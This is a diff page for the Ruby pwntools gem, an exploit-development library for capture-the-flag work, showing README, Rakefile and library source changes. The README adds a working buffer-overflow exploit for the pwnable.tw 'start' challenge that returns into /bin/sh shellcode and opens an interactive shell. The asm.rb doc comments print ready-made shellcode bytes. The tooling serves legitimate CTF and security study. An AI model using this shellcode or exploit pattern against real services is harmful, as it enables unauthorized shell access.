pwntools 0.1.0 → 1.2.1
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +5 -5
- data/README.md +96 -15
- data/Rakefile +8 -2
- data/lib/pwn.rb +10 -7
- data/lib/pwnlib/abi.rb +61 -0
- data/lib/pwnlib/asm.rb +357 -0
- data/lib/pwnlib/constants/constant.rb +19 -3
- data/lib/pwnlib/constants/constants.rb +46 -20
- data/lib/pwnlib/constants/linux/amd64.rb +32 -1
- data/lib/pwnlib/constants/linux/i386.rb +2 -0
- data/lib/pwnlib/context.rb +128 -27
- data/lib/pwnlib/dynelf.rb +122 -54
- data/lib/pwnlib/elf/elf.rb +340 -0
- data/lib/pwnlib/errors.rb +31 -0
- data/lib/pwnlib/ext/array.rb +2 -1
- data/lib/pwnlib/ext/helper.rb +6 -5
- data/lib/pwnlib/ext/integer.rb +2 -1
- data/lib/pwnlib/ext/string.rb +3 -2
- data/lib/pwnlib/logger.rb +245 -0
- data/lib/pwnlib/memleak.rb +59 -29
- data/lib/pwnlib/pwn.rb +27 -9
- data/lib/pwnlib/reg_sort.rb +109 -110
- data/lib/pwnlib/runner.rb +53 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/common.rb +16 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/infloop.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/memcpy.rb +35 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/mov.rb +131 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/nop.rb +18 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/popad.rb +28 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr.rb +66 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr_array.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/ret.rb +33 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/setregs.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/cat.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/execve.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/exit.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/linux.rb +16 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/ls.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/open.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/sh.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/sleep.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/syscall.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/helper.rb +115 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/common.rb +16 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/infloop.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/memcpy.rb +34 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/mov.rb +93 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/nop.rb +18 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/pushstr.rb +41 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/pushstr_array.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/setregs.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/cat.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/execve.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/exit.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/linux.rb +16 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/ls.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/open.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/sh.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/sleep.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/syscall.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/common.rb +29 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/infloop.rb +24 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/memcpy.rb +17 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/mov.rb +17 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/pushstr.rb +17 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/pushstr_array.rb +86 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/setregs.rb +84 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/cat.rb +54 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/execve.rb +72 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/exit.rb +34 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/linux.rb +16 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/ls.rb +67 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/open.rb +47 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/sh.rb +53 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/sleep.rb +52 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/syscall.rb +52 -0
- data/lib/pwnlib/shellcraft/registers.rb +148 -0
- data/lib/pwnlib/shellcraft/shellcraft.rb +73 -0
- data/lib/pwnlib/timer.rb +67 -0
- data/lib/pwnlib/tubes/buffer.rb +99 -0
- data/lib/pwnlib/tubes/process.rb +155 -0
- data/lib/pwnlib/tubes/serialtube.rb +114 -0
- data/lib/pwnlib/tubes/sock.rb +101 -0
- data/lib/pwnlib/tubes/tube.rb +442 -0
- data/lib/pwnlib/ui.rb +21 -0
- data/lib/pwnlib/util/cyclic.rb +97 -94
- data/lib/pwnlib/util/fiddling.rb +288 -220
- data/lib/pwnlib/util/getdents.rb +85 -0
- data/lib/pwnlib/util/hexdump.rb +116 -112
- data/lib/pwnlib/util/lists.rb +58 -0
- data/lib/pwnlib/util/packing.rb +223 -228
- data/lib/pwnlib/util/ruby.rb +19 -0
- data/lib/pwnlib/version.rb +3 -1
- data/test/abi_test.rb +22 -0
- data/test/asm_test.rb +177 -0
- data/test/constants/constant_test.rb +2 -0
- data/test/constants/constants_test.rb +5 -2
- data/test/context_test.rb +14 -3
- data/test/data/assembly/aarch64.s +19 -0
- data/test/data/assembly/amd64.s +21 -0
- data/test/data/assembly/arm.s +9 -0
- data/test/data/assembly/i386.s +21 -0
- data/test/data/assembly/mips.s +16 -0
- data/test/data/assembly/mips64.s +6 -0
- data/test/data/assembly/powerpc.s +18 -0
- data/test/data/assembly/powerpc64.s +36 -0
- data/test/data/assembly/sparc.s +33 -0
- data/test/data/assembly/sparc64.s +5 -0
- data/test/data/assembly/thumb.s +37 -0
- data/test/data/echo.rb +16 -0
- data/test/data/elfs/Makefile +24 -0
- data/test/data/elfs/amd64.frelro.elf +0 -0
- data/test/data/elfs/amd64.frelro.pie.elf +0 -0
- data/test/data/elfs/amd64.nrelro.elf +0 -0
- data/test/data/elfs/amd64.prelro.elf +0 -0
- data/test/data/elfs/amd64.static.elf +0 -0
- data/test/data/elfs/i386.frelro.pie.elf +0 -0
- data/test/data/elfs/i386.prelro.elf +0 -0
- data/test/data/elfs/source.cpp +19 -0
- data/test/data/flag +1 -0
- data/test/data/lib32/ld.so.2 +0 -0
- data/test/data/lib32/libc.so.6 +0 -0
- data/test/data/lib64/ld.so.2 +0 -0
- data/test/data/lib64/libc.so.6 +0 -0
- data/test/dynelf_test.rb +62 -25
- data/test/elf/elf_test.rb +147 -0
- data/test/ext_test.rb +4 -2
- data/test/files/use_pwn.rb +3 -6
- data/test/files/use_pwnlib.rb +2 -1
- data/test/full_file_test.rb +6 -0
- data/test/logger_test.rb +120 -0
- data/test/memleak_test.rb +5 -33
- data/test/reg_sort_test.rb +4 -1
- data/test/runner_test.rb +32 -0
- data/test/shellcraft/infloop_test.rb +27 -0
- data/test/shellcraft/linux/cat_test.rb +87 -0
- data/test/shellcraft/linux/ls_test.rb +109 -0
- data/test/shellcraft/linux/sh_test.rb +120 -0
- data/test/shellcraft/linux/sleep_test.rb +68 -0
- data/test/shellcraft/linux/syscalls/execve_test.rb +137 -0
- data/test/shellcraft/linux/syscalls/exit_test.rb +57 -0
- data/test/shellcraft/linux/syscalls/open_test.rb +87 -0
- data/test/shellcraft/linux/syscalls/syscall_test.rb +84 -0
- data/test/shellcraft/memcpy_test.rb +50 -0
- data/test/shellcraft/mov_test.rb +99 -0
- data/test/shellcraft/nop_test.rb +27 -0
- data/test/shellcraft/popad_test.rb +30 -0
- data/test/shellcraft/pushstr_array_test.rb +92 -0
- data/test/shellcraft/pushstr_test.rb +109 -0
- data/test/shellcraft/registers_test.rb +33 -0
- data/test/shellcraft/ret_test.rb +31 -0
- data/test/shellcraft/setregs_test.rb +63 -0
- data/test/shellcraft/shellcraft_test.rb +30 -0
- data/test/test_helper.rb +61 -2
- data/test/timer_test.rb +42 -0
- data/test/tubes/buffer_test.rb +46 -0
- data/test/tubes/process_test.rb +105 -0
- data/test/tubes/serialtube_test.rb +162 -0
- data/test/tubes/sock_test.rb +68 -0
- data/test/tubes/tube_test.rb +320 -0
- data/test/ui_test.rb +18 -0
- data/test/util/cyclic_test.rb +3 -1
- data/test/util/fiddling_test.rb +12 -3
- data/test/util/getdents_test.rb +33 -0
- data/test/util/hexdump_test.rb +9 -10
- data/test/util/lists_test.rb +22 -0
- data/test/util/packing_test.rb +5 -3
- metadata +357 -37
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
|
-
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 25176dd168e5b1f2653b2d69198fd1dec741d3314712837697635a290d923e3b
|
4
|
+
data.tar.gz: 407ba3df5888aa6e2450b412294403904050009b35fae8e6decebf4ff8d154dd
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 0f118ad7a0a6aadc067b9cd1d11a9d230190440fdc8749127dc8630d8ce630833d5346527ee73960579a71392938d639d89569b85b27eae562dfbbe7fefddab5
|
7
|
+
data.tar.gz: cf5d022ed588bdedcce275f461976d53c4c722119af7315c92241e6588d770ac581c89d63cdda555833d1efbfa43ceb01ea5e763021aeb3c3a452d656327b0d0
|
data/README.md
CHANGED
@@ -1,10 +1,13 @@
|
|
1
1
|
[![GitHub stars](https://img.shields.io/github/stars/peter50216/pwntools-ruby.svg)](https://github.com/peter50216/pwntools-ruby/stargazers)
|
2
|
-
[![
|
3
|
-
[![Build Status](https://
|
4
|
-
[![Test Coverage](https://img.shields.io/codeclimate/coverage/
|
5
|
-
[![Code Climate](https://img.shields.io/codeclimate/
|
2
|
+
[![GitHub issues](https://img.shields.io/github/issues/peter50216/pwntools-ruby.svg)](https://github.com/peter50216/pwntools-ruby/issues)
|
3
|
+
[![Build Status](https://github.com/peter50216/pwntools-ruby/workflows/build/badge.svg)](https://github.com/peter50216/pwntools-ruby/actions)
|
4
|
+
[![Test Coverage](https://img.shields.io/codeclimate/coverage/peter50216/pwntools-ruby.svg)](https://codeclimate.com/github/peter50216/pwntools-ruby/coverage)
|
5
|
+
[![Code Climate](https://img.shields.io/codeclimate/maintainability/peter50216/pwntools-ruby.svg)](https://codeclimate.com/github/peter50216/pwntools-ruby)
|
6
6
|
[![Inline docs](https://inch-ci.org/github/peter50216/pwntools-ruby.svg)](https://inch-ci.org/github/peter50216/pwntools-ruby)
|
7
7
|
[![MIT License](https://img.shields.io/badge/license-MIT-blue.svg)](http://choosealicense.com/licenses/mit/)
|
8
|
+
[![Dependabot Status](https://api.dependabot.com/badges/status?host=github&repo=peter50216/pwntools-ruby)](https://dependabot.com)
|
9
|
+
[![Rawsec's CyberSecurity Inventory](https://inventory.raw.pm/img/badges/Rawsec-inventoried-FF5050_flat.svg)](https://inventory.raw.pm/)
|
10
|
+
<!-- [![Dependency Status](https://img.shields.io/gemnasium/peter50216/pwntools-ruby.svg)](https://gemnasium.com/peter50216/pwntools-ruby) -->
|
8
11
|
|
9
12
|
# pwntools-ruby
|
10
13
|
|
@@ -12,12 +15,12 @@ Always sad when playing CTF that there's nothing equivalent to pwntools in Pytho
|
|
12
15
|
While pwntools is awesome, I always love Ruby far more than Python...
|
13
16
|
So this is an attempt to create such library.
|
14
17
|
|
15
|
-
There's almost NOTHING here now.
|
16
|
-
(Edit: there's something here now, but not much :wink:)
|
17
|
-
Going to implement important things (socket, tubes, asm/disasm, pack/unpack utilities) first.
|
18
18
|
Would try to have consistent naming with original pwntools, and do things in Ruby style.
|
19
19
|
|
20
20
|
# Example Usage
|
21
|
+
|
22
|
+
Here's an exploitation for `start` which is a challenge on [pwnable.tw](https://pwnable.tw).
|
23
|
+
|
21
24
|
```ruby
|
22
25
|
# encoding: ASCII-8BIT
|
23
26
|
# The encoding line is important most time, or you'll get "\u0000" when using "\x00" in code,
|
@@ -25,20 +28,98 @@ Would try to have consistent naming with original pwntools, and do things in Rub
|
|
25
28
|
|
26
29
|
require 'pwn'
|
27
30
|
|
28
|
-
|
29
|
-
context.
|
30
|
-
|
31
|
+
context.arch = 'i386'
|
32
|
+
context.log_level = :debug
|
33
|
+
z = Sock.new 'chall.pwnable.tw', 10000
|
34
|
+
|
35
|
+
z.recvuntil "Let's start the CTF:"
|
36
|
+
z.send p32(0x8048087).rjust(0x18, 'A')
|
37
|
+
stk = u32(z.recvuntil "\xff")
|
38
|
+
log.info "stack address: #{stk.hex}" # Log stack address
|
39
|
+
|
40
|
+
# Return to shellcode
|
41
|
+
addr = stk + 0x14
|
42
|
+
payload = addr.p32.rjust(0x18, 'A') + asm(shellcraft.sh)
|
43
|
+
z.write payload
|
44
|
+
|
45
|
+
# Switch to interactive mode
|
46
|
+
z.interact
|
47
|
+
```
|
48
|
+
|
49
|
+
More features and details can be found in the
|
50
|
+
[documentation](http://www.rubydoc.info/github/peter50216/pwntools-ruby/master/frames).
|
31
51
|
|
32
|
-
|
33
|
-
|
34
|
-
|
52
|
+
# Installation
|
53
|
+
|
54
|
+
### Install the latest release:
|
55
|
+
```sh
|
56
|
+
gem install pwntools
|
57
|
+
```
|
58
|
+
|
59
|
+
### Install from master branch:
|
60
|
+
```sh
|
61
|
+
git clone https://github.com/peter50216/pwntools-ruby
|
62
|
+
cd pwntools-ruby
|
63
|
+
bundle install && bundle exec rake install
|
35
64
|
```
|
36
65
|
|
66
|
+
### optional
|
67
|
+
|
68
|
+
Some of the features (assembling/disassembling) require non-Ruby dependencies. Checkout the
|
69
|
+
installation guide for
|
70
|
+
[keystone-engine](https://github.com/keystone-engine/keystone/tree/master/docs) and
|
71
|
+
[capstone-engine](http://www.capstone-engine.org/documentation.html).
|
72
|
+
|
73
|
+
Or you are able to get running quickly with
|
74
|
+
|
75
|
+
```sh
|
76
|
+
# Install Capstone
|
77
|
+
sudo apt-get install libcapstone3
|
78
|
+
|
79
|
+
# Compile and install Keystone from source
|
80
|
+
sudo apt-get install cmake
|
81
|
+
git clone https://github.com/keystone-engine/keystone.git /tmp/keystone
|
82
|
+
cd /tmp/keystone
|
83
|
+
mkdir build
|
84
|
+
cd build
|
85
|
+
../make-share.sh
|
86
|
+
sudo make install
|
87
|
+
```
|
88
|
+
|
89
|
+
# Supported Features
|
90
|
+
|
91
|
+
## Architectures
|
92
|
+
|
93
|
+
- [x] i386
|
94
|
+
- [x] amd64
|
95
|
+
- [ ] arm
|
96
|
+
- [ ] thumb
|
97
|
+
|
98
|
+
## Modules
|
99
|
+
|
100
|
+
- [x] context
|
101
|
+
- [x] asm
|
102
|
+
- [x] disasm
|
103
|
+
- [x] shellcraft
|
104
|
+
- [x] elf
|
105
|
+
- [x] dynelf
|
106
|
+
- [x] logger
|
107
|
+
- [x] tube
|
108
|
+
- [x] sock
|
109
|
+
- [x] process
|
110
|
+
- [x] serialtube
|
111
|
+
- [ ] fmtstr
|
112
|
+
- [x] util
|
113
|
+
- [x] pack
|
114
|
+
- [x] cyclic
|
115
|
+
- [x] fiddling
|
116
|
+
|
37
117
|
# Development
|
38
118
|
```sh
|
39
|
-
git clone
|
119
|
+
git clone https://github.com/peter50216/pwntools-ruby
|
40
120
|
cd pwntools-ruby
|
41
|
-
|
121
|
+
bundle
|
122
|
+
bundle exec rake
|
42
123
|
```
|
43
124
|
|
44
125
|
# Note to irb users
|
data/Rakefile
CHANGED
@@ -5,10 +5,12 @@ require 'bundler/gem_tasks'
|
|
5
5
|
require 'rainbow'
|
6
6
|
require 'rake/testtask'
|
7
7
|
require 'rubocop/rake_task'
|
8
|
+
require 'yard'
|
9
|
+
|
10
|
+
import 'tasks/shellcraft/x86.rake'
|
8
11
|
|
9
12
|
RuboCop::RakeTask.new(:rubocop) do |task|
|
10
|
-
task.patterns = ['lib/**/*.rb', 'test/**/*.rb']
|
11
|
-
task.formatters = ['files']
|
13
|
+
task.patterns = ['lib/**/*.rb', 'tasks/**/*.rake', 'test/**/*.rb']
|
12
14
|
end
|
13
15
|
|
14
16
|
task default: %i(install_git_hooks rubocop test)
|
@@ -18,9 +20,13 @@ Rake::TestTask.new(:test) do |test|
|
|
18
20
|
test.libs << 'test'
|
19
21
|
test.pattern = 'test/**/*_test.rb'
|
20
22
|
test.verbose = true
|
23
|
+
test.options = '--pride'
|
21
24
|
end
|
22
25
|
|
26
|
+
YARD::Rake::YardocTask.new(:doc)
|
27
|
+
|
23
28
|
task :install_git_hooks do
|
29
|
+
next if ENV['CI']
|
24
30
|
hooks = %w(pre-push)
|
25
31
|
git_hook_dir = Pathname.new('.git/hooks/')
|
26
32
|
hook_dir = Pathname.new('git-hooks/')
|
data/lib/pwn.rb
CHANGED
@@ -1,7 +1,8 @@
|
|
1
1
|
# encoding: ASCII-8BIT
|
2
|
+
# frozen_string_literal: true
|
2
3
|
|
3
|
-
# require this file for easy exploit development, but would pollute main Object
|
4
|
-
#
|
4
|
+
# require this file for easy exploit development, but would pollute main Object and some built-in objects. (String,
|
5
|
+
# Integer, ...)
|
5
6
|
|
6
7
|
require 'pwnlib/pwn'
|
7
8
|
|
@@ -12,13 +13,15 @@ require 'pwnlib/ext/array'
|
|
12
13
|
extend Pwn
|
13
14
|
|
14
15
|
include Pwnlib
|
16
|
+
include Pwnlib::Tubes
|
17
|
+
|
18
|
+
# XXX(david942j): include here because module ELF and class ELF have same name..
|
19
|
+
include ::Pwnlib::ELF
|
15
20
|
|
16
21
|
# Small "fix" for irb context problem.
|
17
|
-
# irb defines main.context for IRB::Context, which overrides our
|
18
|
-
#
|
19
|
-
#
|
20
|
-
# and the IRB::Context can still be accessible from irb_context, we should be
|
21
|
-
# fine removing context.
|
22
|
+
# irb defines main.context for IRB::Context, which overrides our Pwnlib::Context. :(
|
23
|
+
# Since our "context" should be more important for someone requiring 'pwn', and the IRB::Context can still be accessible
|
24
|
+
# from irb_context, we should be fine removing context.
|
22
25
|
class << self
|
23
26
|
remove_method(:context) if method_defined?(:context)
|
24
27
|
end
|
data/lib/pwnlib/abi.rb
ADDED
@@ -0,0 +1,61 @@
|
|
1
|
+
# encoding: ASCII-8BIT
|
2
|
+
# frozen_string_literal: true
|
3
|
+
|
4
|
+
require 'pwnlib/context'
|
5
|
+
|
6
|
+
module Pwnlib
|
7
|
+
# Encapsulates information about a calling convention.
|
8
|
+
module ABI
|
9
|
+
# A super class for recording registers and stack's information.
|
10
|
+
class ABI
|
11
|
+
attr_reader :register_arguments, :arg_alignment, :stack_pointer
|
12
|
+
# Only used for x86, to specify the +eax+, +edx+ pair.
|
13
|
+
attr_reader :cdq_pair
|
14
|
+
|
15
|
+
def initialize(regs, align, stack_pointer, cdq_pair: nil)
|
16
|
+
@register_arguments = regs
|
17
|
+
@arg_alignment = align
|
18
|
+
@stack_pointer = stack_pointer
|
19
|
+
@cdq_pair = cdq_pair
|
20
|
+
end
|
21
|
+
|
22
|
+
class << self
|
23
|
+
def default
|
24
|
+
DEFAULT[arch_key]
|
25
|
+
end
|
26
|
+
|
27
|
+
def syscall
|
28
|
+
SYSCALL[arch_key]
|
29
|
+
end
|
30
|
+
|
31
|
+
private
|
32
|
+
|
33
|
+
def arch_key
|
34
|
+
[context.bits, context.arch, context.os]
|
35
|
+
end
|
36
|
+
include ::Pwnlib::Context
|
37
|
+
end
|
38
|
+
end
|
39
|
+
|
40
|
+
# The syscall ABI treats the syscall number as the zeroth argument,
|
41
|
+
# which must be loaded into the specified register.
|
42
|
+
class SyscallABI < ABI
|
43
|
+
attr_reader :syscall_str
|
44
|
+
|
45
|
+
def initialize(regs, align, stack_pointer, syscall_str)
|
46
|
+
super(regs, align, stack_pointer)
|
47
|
+
@syscall_str = syscall_str
|
48
|
+
end
|
49
|
+
end
|
50
|
+
|
51
|
+
DEFAULT = {
|
52
|
+
[32, 'i386', 'linux'] => ABI.new([], 4, 'esp', cdq_pair: %w(eax edx)),
|
53
|
+
[64, 'amd64', 'linux'] => ABI.new(%w(rdi rsi rdx rcx r8 r9), 8, 'rsp', cdq_pair: %w(rax rdx))
|
54
|
+
}.freeze
|
55
|
+
|
56
|
+
SYSCALL = {
|
57
|
+
[32, 'i386', 'linux'] => SyscallABI.new(%w(eax ebx ecx edx esi edi ebp), 4, 'esp', 'int 0x80'),
|
58
|
+
[64, 'amd64', 'linux'] => SyscallABI.new(%w(rax rdi rsi rdx r10 r8 r9), 8, 'rsp', 'syscall')
|
59
|
+
}.freeze
|
60
|
+
end
|
61
|
+
end
|
data/lib/pwnlib/asm.rb
ADDED
@@ -0,0 +1,357 @@
|
|
1
|
+
# encoding: ASCII-8BIT
|
2
|
+
# frozen_string_literal: true
|
3
|
+
|
4
|
+
require 'tempfile'
|
5
|
+
|
6
|
+
require 'elftools'
|
7
|
+
require 'keystone_engine/keystone_const'
|
8
|
+
|
9
|
+
require 'pwnlib/context'
|
10
|
+
require 'pwnlib/errors'
|
11
|
+
require 'pwnlib/util/ruby'
|
12
|
+
|
13
|
+
module Pwnlib
|
14
|
+
# Convert assembly code to machine code and vice versa.
|
15
|
+
# Use two open-source projects +keystone+/+capstone+ to asm/disasm.
|
16
|
+
module Asm
|
17
|
+
module_function
|
18
|
+
|
19
|
+
# Default virtaul memory base address of architectures.
|
20
|
+
#
|
21
|
+
# This address may be different by using different linker.
|
22
|
+
DEFAULT_VMA = {
|
23
|
+
i386: 0x08048000,
|
24
|
+
amd64: 0x400000,
|
25
|
+
arm: 0x8000
|
26
|
+
}.freeze
|
27
|
+
|
28
|
+
# Mapping +context.arch+ to +::ELFTools::Constants::EM::EM_*+.
|
29
|
+
ARCH_EM = {
|
30
|
+
aarch64: 'AARCH64',
|
31
|
+
alpha: 'ALPHA',
|
32
|
+
amd64: 'X86_64',
|
33
|
+
arm: 'ARM',
|
34
|
+
cris: 'CRIS',
|
35
|
+
i386: '386',
|
36
|
+
ia64: 'IA_64',
|
37
|
+
m68k: '68K',
|
38
|
+
mips64: 'MIPS',
|
39
|
+
mips: 'MIPS',
|
40
|
+
powerpc64: 'PPC64',
|
41
|
+
powerpc: 'PPC',
|
42
|
+
s390: 'S390',
|
43
|
+
sparc64: 'SPARCV9',
|
44
|
+
sparc: 'SPARC'
|
45
|
+
}.freeze
|
46
|
+
|
47
|
+
# Disassembles a bytestring into human readable assembly.
|
48
|
+
#
|
49
|
+
# {.disasm} depends on another open-source project - capstone, error will be raised if capstone is not intalled.
|
50
|
+
# @param [String] data
|
51
|
+
# The bytestring.
|
52
|
+
# @param [Integer] vma
|
53
|
+
# Virtual memory address.
|
54
|
+
#
|
55
|
+
# @return [String]
|
56
|
+
# Disassemble result with nice typesetting.
|
57
|
+
#
|
58
|
+
# @raise [Pwnlib::Errors::DependencyError]
|
59
|
+
# If libcapstone is not installed.
|
60
|
+
# @raise [Pwnlib::Errors::UnsupportedArchError]
|
61
|
+
# If disassembling of +context.arch+ is not supported.
|
62
|
+
#
|
63
|
+
# @example
|
64
|
+
# context.arch = 'i386'
|
65
|
+
# print disasm("\xb8\x5d\x00\x00\x00")
|
66
|
+
# # 0: b8 5d 00 00 00 mov eax, 0x5d
|
67
|
+
#
|
68
|
+
# context.arch = 'amd64'
|
69
|
+
# print disasm("\xb8\x17\x00\x00\x00")
|
70
|
+
# # 0: b8 17 00 00 00 mov eax, 0x17
|
71
|
+
# print disasm("jhH\xb8/bin///sPH\x89\xe71\xd21\xf6j;X\x0f\x05", vma: 0x1000)
|
72
|
+
# # 1000: 6a 68 push 0x68
|
73
|
+
# # 1002: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f
|
74
|
+
# # 100c: 50 push rax
|
75
|
+
# # 100d: 48 89 e7 mov rdi, rsp
|
76
|
+
# # 1010: 31 d2 xor edx, edx
|
77
|
+
# # 1012: 31 f6 xor esi, esi
|
78
|
+
# # 1014: 6a 3b push 0x3b
|
79
|
+
# # 1016: 58 pop rax
|
80
|
+
# # 1017: 0f 05 syscall
|
81
|
+
def disasm(data, vma: 0)
|
82
|
+
require_message('crabstone', install_crabstone_guide) # will raise error if require fail.
|
83
|
+
cs = Crabstone::Disassembler.new(cs_arch, cs_mode)
|
84
|
+
insts = cs.disasm(data, vma).map do |ins|
|
85
|
+
[ins.address, ins.bytes, ins.mnemonic.to_s, ins.op_str.to_s]
|
86
|
+
end
|
87
|
+
max_dlen = format('%x', insts.last.first).size + 2
|
88
|
+
max_hlen = insts.map { |ins| ins[1].size }.max * 3
|
89
|
+
max_ilen = insts.map { |ins| ins[2].size }.max
|
90
|
+
insts.reduce('') do |s, ins|
|
91
|
+
hex_code = ins[1].map { |c| format('%02x', c) }.join(' ')
|
92
|
+
inst = if ins[3].empty?
|
93
|
+
ins[2]
|
94
|
+
else
|
95
|
+
format("%-#{max_ilen}s %s", ins[2], ins[3])
|
96
|
+
end
|
97
|
+
s + format("%#{max_dlen}x: %-#{max_hlen}s %s\n", ins[0], hex_code, inst)
|
98
|
+
end
|
99
|
+
end
|
100
|
+
|
101
|
+
# Convert assembly code to machine code.
|
102
|
+
#
|
103
|
+
# @param [String] code
|
104
|
+
# The assembly code to be converted.
|
105
|
+
# @param [Integer] vma
|
106
|
+
# Virtual memory address.
|
107
|
+
#
|
108
|
+
# @return [String]
|
109
|
+
# The result.
|
110
|
+
#
|
111
|
+
# @raise [Pwnlib::Errors::DependencyError]
|
112
|
+
# If libkeystone is not installed.
|
113
|
+
# @raise [Pwnlib::Errors::UnsupportedArchError]
|
114
|
+
# If assembling of +context.arch+ is not supported.
|
115
|
+
#
|
116
|
+
# @example
|
117
|
+
# assembly = shellcraft.amd64.linux.sh
|
118
|
+
# context.local(arch: 'amd64') { asm(assembly) }
|
119
|
+
# #=> "jhH\xB8/bin///sPj;XH\x89\xE71\xF6\x99\x0F\x05"
|
120
|
+
#
|
121
|
+
# context.local(arch: 'i386') { asm(shellcraft.sh) }
|
122
|
+
# #=> "jhh///sh/binj\vX\x89\xE31\xC9\x99\xCD\x80"
|
123
|
+
#
|
124
|
+
# @diff
|
125
|
+
# Not support +asm('mov eax, SYS_execve')+.
|
126
|
+
def asm(code, vma: 0)
|
127
|
+
require_message('keystone_engine', install_keystone_guide)
|
128
|
+
KeystoneEngine::Ks.new(ks_arch, ks_mode).asm(code, vma)[0]
|
129
|
+
end
|
130
|
+
|
131
|
+
# Builds an ELF file from executable code.
|
132
|
+
#
|
133
|
+
# @param [String] data
|
134
|
+
# Assembled code.
|
135
|
+
# @param [Integer?] vma
|
136
|
+
# The load address for the ELF file.
|
137
|
+
# If +nil+ is given, default address will be used.
|
138
|
+
# See {DEFAULT_VMA}.
|
139
|
+
# @param [Boolean] to_file
|
140
|
+
# Returns ELF content or the path to the ELF file.
|
141
|
+
# If +true+ is given, the ELF will be saved into a temp file.
|
142
|
+
#
|
143
|
+
# @return [String, Object]
|
144
|
+
# Without block
|
145
|
+
# - If +to_file+ is +false+ (default), returns the content of ELF.
|
146
|
+
# - Otherwise, a file is created and the path is returned.
|
147
|
+
# With block given, an ELF file will be created and its path will be yielded.
|
148
|
+
# This method will return what the block returned, and the ELF file will be removed after the block yielded.
|
149
|
+
#
|
150
|
+
# @yieldparam [String] path
|
151
|
+
# The path to the created ELF file.
|
152
|
+
#
|
153
|
+
# @yieldreturn [Object]
|
154
|
+
# Whatever you want.
|
155
|
+
#
|
156
|
+
# @raise [::Pwnlib::Errors::UnsupportedArchError]
|
157
|
+
# Raised when don't know how to create an ELF under architecture +context.arch+.
|
158
|
+
#
|
159
|
+
# @diff
|
160
|
+
# Unlike pwntools-python uses cross-compiler to compile code into ELF, we create ELFs in pure Ruby
|
161
|
+
# implementation. Therefore, we have higher flexibility and less binary dependencies.
|
162
|
+
#
|
163
|
+
# @example
|
164
|
+
# bin = make_elf(asm(shellcraft.sh))
|
165
|
+
# bin[0, 4]
|
166
|
+
# #=> "\x7FELF"
|
167
|
+
# @example
|
168
|
+
# path = make_elf(asm(shellcraft.cat('/proc/self/maps')), to_file: true)
|
169
|
+
# puts `#{path}`
|
170
|
+
# # 08048000-08049000 r-xp 00000000 fd:01 27671233 /tmp/pwn20180129-3411-7klnng.elf
|
171
|
+
# # f77c7000-f77c9000 r--p 00000000 00:00 0 [vvar]
|
172
|
+
# # f77c9000-f77cb000 r-xp 00000000 00:00 0 [vdso]
|
173
|
+
# # ffda6000-ffdc8000 rwxp 00000000 00:00 0 [stack]
|
174
|
+
# @example
|
175
|
+
# # no need 'to_file' parameter if block is given
|
176
|
+
# make_elf(asm(shellcraft.cat('/proc/self/maps'))) do |path|
|
177
|
+
# puts `#{path}`
|
178
|
+
# # 08048000-08049000 r-xp 00000000 fd:01 27671233 /tmp/pwn20180129-3411-7klnng.elf
|
179
|
+
